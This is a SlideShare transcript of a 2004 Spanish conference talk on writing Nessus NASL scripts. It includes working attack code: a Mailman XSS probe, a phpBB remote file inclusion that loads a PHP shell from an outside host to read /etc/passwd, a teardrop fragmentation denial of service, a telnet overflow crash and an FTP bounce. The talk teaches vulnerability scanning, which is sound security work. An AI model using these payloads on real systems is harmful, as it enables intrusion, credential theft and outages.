FIST Conference Abril 2004           NASLlenguaje de desarrollo de exploits      Rafael San Miguel Carrasco
FIST Conference Abril 2004Tareas típicas del exploit dev :• escribir las cabeceras de un datagrama IP• implementar un diál...
FIST Conference Abril 2004Contenido:1)   NASL, Nessus, Knowledge Base2)   Sintaxis del lenguaje NASL3)   Librería de funci...
FIST Conference Abril 2004    Nessus:•   Escáner de vulnerabilidades•   Libre distribución•   Entornos UNIX•   www.nessus....
FIST Conference Abril 2004 Modelo cliente / servidor:nessus           nessusd      host   host   hostnessusnessus
FIST Conference Abril 2004Lanzamos el cliente Nessus:
FIST Conference Abril 2004Selección de plugins:
FIST Conference Abril 2004Fijamos algunas opciones:
FIST Conference Abril 2004Rango de direcciones IP:
FIST Conference Abril 2004Iniciamos el scan:
FIST Conference Abril 2004Informe de vulnerabilidades:
FIST Conference Abril 2004    Intérprete NASL:•   nasl –t 192.168.0.128 script.nasl•   previamente lanzamos nessusd•   sól...
FIST Conference Abril 2004    Intérprete NASL:•   nasl –t 192.168.0.128 script.nasl•   previamente lanzamos nessusd•   sól...
FIST Conference Abril 2004plugin malicioso:nessus            script malicioso                nessusd            host    ho...
FIST Conference Abril 2004Otra restricción:• NASL no permite la ejecución de comandos  locales• No puede utilizarse para e...
FIST Conference Abril 2004    Knowledge Base:•   base de datos para cada host•   datos relevantes para los scripts•   set_...
FIST Conference Abril 2004    Atributos de la clase Services:•   Services/www•   Services/ftp•   Services/http_proxy•   Se...
FIST Conference Abril 2004 Atributos de la clase Host:• Host/OS• Host/dead   • modificado por scripts de ataques DoS
FIST Conference Abril 2004    Otros atributos:•   ftp/anonymous•   www/frontpage•   rpc/bootparamd•   bind/version•   ftp/...
FIST Conference Abril 2004    Sintaxis: estructuras de control•   if (condición) { instr.} else { instr. }•   for (inic; c...
FIST Conference Abril 2004 Sintaxis: tipos de datos• No se manejan explícitamente (Perl)• Asignaciones:   •   a = 100;   •...
FIST Conference Abril 2004    Sintaxis: arrays•   a [1] = 450;•   b = “cadena”;•   if (b [2] == “a”)•   if (a [1] == 450)•...
FIST Conference Abril 2004 Sintaxis: funciones• posibilidad de definir funciones• existen limitaciones en la llamada a las...
FIST Conference Abril 2004 Sintaxis: funciones no anónimas• no importa el orden y número de argumentos  especificados en l...
FIST Conference Abril 2004    Librería de funciones: clasificación•   manipulación de cadenas•   sockets•   raw sockets•  ...
FIST Conference Abril 2004 Funciones: manipulación de cadenas• operadores ==, <, >• operador ><      • if (“Access denied”...
FIST Conference Abril 2004    Funciones: sockets•   send (), recv () sin dirección IP destino•   recv_line (socket: s, len...
FIST Conference Abril 2004Funciones: raw sockets• protocolos soportados:      ICMP, IGMP, TCP, UDP, IP• funciones forge_X_...
FIST Conference Abril 2004    Funciones: http, ftp, telnet•   ftp_log_in (usuario, password)•   telnet_init ()•   http_get...
FIST Conference Abril 2004Funciones: criptográficas• digests MD2, MD4, MD5• digest SHA-1• digest cifrado HMAC  HMAC_DSS, H...
FIST Conference Abril 2004    Funciones: integración con Nessus•   script_category ()•   script_family ()•   script_bugtra...
FIST Conference Abril 2004Funciones: integración con Nessus• security_hole (descr., puerto)• security_warning (descr., pue...
FIST Conference Abril 2004Ejemplo: XSS en MailmanPasos:  • comprobar la existencia del script    vulnerable  • enviar peti...
FIST Conference Abril 2004Ejemplo: XSS en Mailmanpuerto = 80;cadena = "<script>alert(document.domain)</script>";url = "/cg...
FIST Conference Abril 2004Ejemplo: XSS en Mailmanif (cadena >< rrecv)             {                           display ("in...
FIST Conference Abril 2004Ejemplo: XSS en Mailman
FIST Conference Abril 2004Ejemplo: XSS en MailmanIntegración con Nessus:  • bloque if : registro en nessusd  if(descriptio...
FIST Conference Abril 2004Ejemplo: XSS en MailmanIntegración con Nessus:  • notificación a Nessus     if (cadena >< rrecv)...
FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB• servidor web propio• shell PHP de www.planet-source-code.com   ...
FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBPasos:  • comprobar la existencia del PHP    vulnerable  • enviar...
FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBpuerto = 80;cadena = "phpbb_root_path=http://www.soluciones-segur...
FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB    if ("root" >< rrecv)    {           display ("info: se ha con...
FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB
FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBIntegración con Nessus:  • bloque if de registro en nessusd  • ll...
FIST Conference Abril 2004Ejemplo: teardrop• ataque DoS que afecta a los stacks  TCP/IP de algunos sistemas operativos• fa...
FIST Conference Abril 2004Ejemplo: teardropMAGIC = 2;IPH = 20;UDPH = 8;PADDING = 0x1c;MAGIC = 0x3;IP_ID = 242;sport = 123;...
FIST Conference Abril 2004Ejemplo: teardropLEN = UDPH + PADDING;udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dpor...
FIST Conference Abril 2004Ejemplo: overflow en BFTelnet•   nombre de usuario muy largo•   provoca la caída del servicio te...
FIST Conference Abril 2004Ejemplo: overflow en BFTelnetport = get_kb_item ("Services/telnet");if (!port) port = 23;if (get...
FIST Conference Abril 2004Ejemplo: ftp bouncing• comando PORT para conexión de datos  (protocolo FTP)• posibilidad de inic...
FIST Conference Abril 2004Ejemplo: ftp bouncingport = get_kb_item("Services/ftp");if(!port)port = 21;login = get_kb_item("...
FIST Conference Abril 2004Consideraciones finales:• soporte multilenguaje   name["english"] = "BFTelnet DoS";   name["fran...
FIST Conference Abril 2004Detección de WAPs con NASL:www.tenablesecurity.com/white_papers/wap-id-nessus.pdfMás información...
FIST Conference Abril 2004Nuestra empresa: Soluciones Seguras
FIST Conference Abril 2004¡Muchas gracias por venir!
Upcoming SlideShare
Loading in...5
×

NASL

193

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
193
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
4
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

NASL

  1. 1. FIST Conference Abril 2004 NASLlenguaje de desarrollo de exploits Rafael San Miguel Carrasco
  2. 2. FIST Conference Abril 2004Tareas típicas del exploit dev :• escribir las cabeceras de un datagrama IP• implementar un diálogo HTTP• capturar y procesar paquetes en modo promiscuo• existencia de un fichero en un servidor• comprobación de desbordamientos
  3. 3. FIST Conference Abril 2004Contenido:1) NASL, Nessus, Knowledge Base2) Sintaxis del lenguaje NASL3) Librería de funciones4) Ejemplos de programación5) Consideraciones finales
  4. 4. FIST Conference Abril 2004 Nessus:• Escáner de vulnerabilidades• Libre distribución• Entornos UNIX• www.nessus.org• Para ampliar su capacidad: NASLNASL = Nessus Attack Scripting Language
  5. 5. FIST Conference Abril 2004 Modelo cliente / servidor:nessus nessusd host host hostnessusnessus
  6. 6. FIST Conference Abril 2004Lanzamos el cliente Nessus:
  7. 7. FIST Conference Abril 2004Selección de plugins:
  8. 8. FIST Conference Abril 2004Fijamos algunas opciones:
  9. 9. FIST Conference Abril 2004Rango de direcciones IP:
  10. 10. FIST Conference Abril 2004Iniciamos el scan:
  11. 11. FIST Conference Abril 2004Informe de vulnerabilidades:
  12. 12. FIST Conference Abril 2004 Intérprete NASL:• nasl –t 192.168.0.128 script.nasl• previamente lanzamos nessusd• sólo direcciones IP permitidas• políticas: nessusd.rules y nessusd.users
  13. 13. FIST Conference Abril 2004 Intérprete NASL:• nasl –t 192.168.0.128 script.nasl• previamente lanzamos nessusd• sólo direcciones IP permitidas• políticas: nessusd.rules y nessusd.users
  14. 14. FIST Conference Abril 2004plugin malicioso:nessus script malicioso nessusd host host hostnessusnessus reporte de vulnerabilidad atacante
  15. 15. FIST Conference Abril 2004Otra restricción:• NASL no permite la ejecución de comandos locales• No puede utilizarse para escribir exploits de ámbito local
  16. 16. FIST Conference Abril 2004 Knowledge Base:• base de datos para cada host• datos relevantes para los scripts• set_kb_item ()• get_kb_item ()
  17. 17. FIST Conference Abril 2004 Atributos de la clase Services:• Services/www• Services/ftp• Services/http_proxy• Services/imap• ...
  18. 18. FIST Conference Abril 2004 Atributos de la clase Host:• Host/OS• Host/dead • modificado por scripts de ataques DoS
  19. 19. FIST Conference Abril 2004 Otros atributos:• ftp/anonymous• www/frontpage• rpc/bootparamd• bind/version• ftp/root_via_cwd• ...
  20. 20. FIST Conference Abril 2004 Sintaxis: estructuras de control• if (condición) { instr.} else { instr. }• for (inic; condición; instr) { instr. }• while (condición) { instr. }• foreach elemento (array) { instr. }• repeat { instr. } until (condición);• operador x: • send_packet (udp) x 30
  21. 21. FIST Conference Abril 2004 Sintaxis: tipos de datos• No se manejan explícitamente (Perl)• Asignaciones: • a = 100; • nombre = “Rafael”; • bytes = raw_string (0x41, 0x01, 0xFF);• ¡No hay estructuras de datos!
  22. 22. FIST Conference Abril 2004 Sintaxis: arrays• a [1] = 450;• b = “cadena”;• if (b [2] == “a”)• if (a [1] == 450)• Caso 1 : b [2] = “o”;• Caso 2 : b = insstr (b, “o”, 1, 1);
  23. 23. FIST Conference Abril 2004 Sintaxis: funciones• posibilidad de definir funciones• existen limitaciones en la llamada a las funciones definidas por el programador• sintaxis: function suma (a, b) { instr. return (valor); }
  24. 24. FIST Conference Abril 2004 Sintaxis: funciones no anónimas• no importa el orden y número de argumentos especificados en la llamada• debe indicarse el nombre de los argumentos: send (data: “hola”, socket: s);• si faltan datos: se solicitan en tiempo de ejecución
  25. 25. FIST Conference Abril 2004 Librería de funciones: clasificación• manipulación de cadenas• sockets• raw sockets• protocolos http, ftp, telnet• funciones criptográficas• funciones “vínculo” con Nessus
  26. 26. FIST Conference Abril 2004 Funciones: manipulación de cadenas• operadores ==, <, >• operador >< • if (“Access denied” >< respuesta)• ereg () y egrep () para pattern matching• crap : para testear desbordamientos • crap (length: 1000, data: “bla”);
  27. 27. FIST Conference Abril 2004 Funciones: sockets• send (), recv () sin dirección IP destino• recv_line (socket: s, length: 100, timeout: 5);• get_port_state (port)• tcp_ping ()• open_priv_sock_udp (srcport, dstport)• flag MSG_OOB en send () ¿Por qué?
  28. 28. FIST Conference Abril 2004Funciones: raw sockets• protocolos soportados: ICMP, IGMP, TCP, UDP, IP• funciones forge_X_packet ()• pcap_next ()• funciones get_X_elements ()• insert_ip_options ()• send_packet ()
  29. 29. FIST Conference Abril 2004 Funciones: http, ftp, telnet• ftp_log_in (usuario, password)• telnet_init ()• http_get (), http_post (), http_head (), ...• is_cgi_installed (“/cgi-bin/search.cgi”)• cgi_dirs () http_get (port: 80, item: “/cgi-bin/search.cgi”, data: “query=hola”); ¡No podemos simular servidores!
  30. 30. FIST Conference Abril 2004Funciones: criptográficas• digests MD2, MD4, MD5• digest SHA-1• digest cifrado HMAC HMAC_DSS, HMAC_MD2, HMAC_MD4, HMAC_MD5, HMAC_RIPEMD160, ...
  31. 31. FIST Conference Abril 2004 Funciones: integración con Nessus• script_category ()• script_family ()• script_bugtraq_id ()• script_cve_id ()• script_dependencies ()
  32. 32. FIST Conference Abril 2004Funciones: integración con Nessus• security_hole (descr., puerto)• security_warning (descr., puerto)• security_note (descr., puerto)
  33. 33. FIST Conference Abril 2004Ejemplo: XSS en MailmanPasos: • comprobar la existencia del script vulnerable • enviar petición GET con código HTML/Javascript • comprobar respuesta del servidor
  34. 34. FIST Conference Abril 2004Ejemplo: XSS en Mailmanpuerto = 80;cadena = "<script>alert(document.domain)</script>";url = "/cgi-bin/listinfo";display ("nMailman XSS bug testn--------------------n");if (is_cgi_installed (url, puerto) ) { display ("info: listinfo existe en la version de mailman instaladan"); socket = open_sock_tcp (puerto); peticion = http_get (item : "/cgi-bin/listinfo/" + cadena, port : puerto); rsend = send (socket : socket, data : peticion); rrecv = recv (socket : socket, length : 32000); close(socket);
  35. 35. FIST Conference Abril 2004Ejemplo: XSS en Mailmanif (cadena >< rrecv) { display ("info: esta version de mailman es vulnerable a XSSnn"); } else { display ("info: version NO vulnerable de mailmannn"); } return (0);}display ("mailman no esta instalado en el servidornn");
  36. 36. FIST Conference Abril 2004Ejemplo: XSS en Mailman
  37. 37. FIST Conference Abril 2004Ejemplo: XSS en MailmanIntegración con Nessus: • bloque if : registro en nessusd if(description) { script_name(english:"Mailman XSS bug test"); script_description(english:"Comprobación del fallo de XSS en Mailman"); script_summary(english:“Petición GET con código HTML/JavaScript"); script_category(ACT_ATTACK); script_family(english:"Misc."); script_copyright(english:"Rafael San Miguel Carrasco"); exit(0); }
  38. 38. FIST Conference Abril 2004Ejemplo: XSS en MailmanIntegración con Nessus: • notificación a Nessus if (cadena >< rrecv) { report = “Mailman es vulnerable a XSS"; security_hole (port: 80, data:report); } • copiamos el .nasl /usr/lib/nessus/plugins • relanzamos nessusd
  39. 39. FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB• servidor web propio• shell PHP de www.planet-source-code.com <php passthru (‘cat /etc/passwd’) ?>
  40. 40. FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBPasos: • comprobar la existencia del PHP vulnerable • enviar petición GET con parámetros adecuados • verificar que en la respuesta del servidor aparece la cadena “root”
  41. 41. FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBpuerto = 80;cadena = "phpbb_root_path=http://www.soluciones-seguras.com/&phpEx=php";url = "/album_portal.php";display ("nphpBB Modified Insertion Bug Testn---------------------------n");if (is_cgi_installed (url, puerto) ) { display ("info: phpBB esta instalado en el servidor n"); socket = open_sock_tcp (puerto); peticion = http_get (item : url + "?" + cadena, port : puerto); rsend = send (socket : socket, data : peticion); rrecv = recv (socket : socket, length : 32000); close(socket);
  42. 42. FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB if ("root" >< rrecv) { display ("info: se ha conseguido el fichero /etc/passwd del servidorn"); # pattern matching display (egrep (pattern: "^root*", string: rrecv) ); display ("nn"); } else { display ("info: la version no es vulnerablenn"); } return (0);}
  43. 43. FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBB
  44. 44. FIST Conference Abril 2004Ejemplo: Inserción PHP en phpBBIntegración con Nessus: • bloque if de registro en nessusd • llamada a security_hole () si el ataque tiene éxito • copiamos el .nasl /usr/lib/nessus/plugins • relanzamos nessusd
  45. 45. FIST Conference Abril 2004Ejemplo: teardrop• ataque DoS que afecta a los stacks TCP/IP de algunos sistemas operativos• fallo en el algoritmo de ensamblado• implementación del exploit: • datagrama UDP 1: • payload N bytes, offset 0, MF on • datagrama UDP 2: • payload < N, offset < N, MF off
  46. 46. FIST Conference Abril 2004Ejemplo: teardropMAGIC = 2;IPH = 20;UDPH = 8;PADDING = 0x1c;MAGIC = 0x3;IP_ID = 242;sport = 123;dport = 137;LEN = IPH + UDPH + PADDING;src = this_host();ip = forge_ip_packet(ip_v : 4, ip_hl : 5, ip_tos : 0, ip_id : IP_ID, ip_len : LEN, ip_off : IP_MF, ip_p : IPPROTO_UDP, ip_src : src, ip_ttl : 0x40);
  47. 47. FIST Conference Abril 2004Ejemplo: teardropLEN = UDPH + PADDING;udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN);LEN = IPH + MAGIC + 1;set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);LEN = UDPH + PADDING;udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN);start_denial();send_packet(udp1,udp2, pcap_active:FALSE) x 500;alive = end_denial();if(!alive) { set_kb_item(name:"Host/dead", value:TRUE); security_hole(0);}
  48. 48. FIST Conference Abril 2004Ejemplo: overflow en BFTelnet• nombre de usuario muy largo• provoca la caída del servicio telnet• fallo típico de muchos otros servidores (ftp, pop3, ...)
  49. 49. FIST Conference Abril 2004Ejemplo: overflow en BFTelnetport = get_kb_item ("Services/telnet");if (!port) port = 23;if (get_port_state(port)) { soc = open_sock_tcp(port); if (soc) { banner = telnet_init(soc); banner = string(banner, recv(socket:soc, length:1000)); data = string(crap(4000), "rn"); send(socket:soc, data:data); close(soc); soc2 = open_sock_tcp(port); if(!soc2) security_warning(port); }}
  50. 50. FIST Conference Abril 2004Ejemplo: ftp bouncing• comando PORT para conexión de datos (protocolo FTP)• posibilidad de iniciar una conexión con host arbitrario• utilidad: • port scanning • bypass de las reglas de un firewall
  51. 51. FIST Conference Abril 2004Ejemplo: ftp bouncingport = get_kb_item("Services/ftp");if(!port)port = 21;login = get_kb_item("ftp/login");password = get_kb_item("ftp/password");if (login) { soc = open_sock_tcp(port); if(soc) { if(ftp_log_in(socket:soc, user:login, pass:password)) { command = string("PORT 66,88,91,109,0,21n"); send(socket:soc, data:command); code = recv(socket:soc, length:4); if(code == "200 ") security_hole(port); } close(soc); }}
  52. 52. FIST Conference Abril 2004Consideraciones finales:• soporte multilenguaje name["english"] = "BFTelnet DoS"; name["francais"]= "Déni de service contre BFTelnet"; script_name(english:name["english"], francais:name["francais"]);• forking automático y transparente ejemplo: dos puertos telnet
  53. 53. FIST Conference Abril 2004Detección de WAPs con NASL:www.tenablesecurity.com/white_papers/wap-id-nessus.pdfMás información sobre NASL y Nessus:www.nessus.org/documentation.htmlEstas transparencias:www.soluciones-seguras.comwww.fistconference.org
  54. 54. FIST Conference Abril 2004Nuestra empresa: Soluciones Seguras
  55. 55. FIST Conference Abril 2004¡Muchas gracias por venir!
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×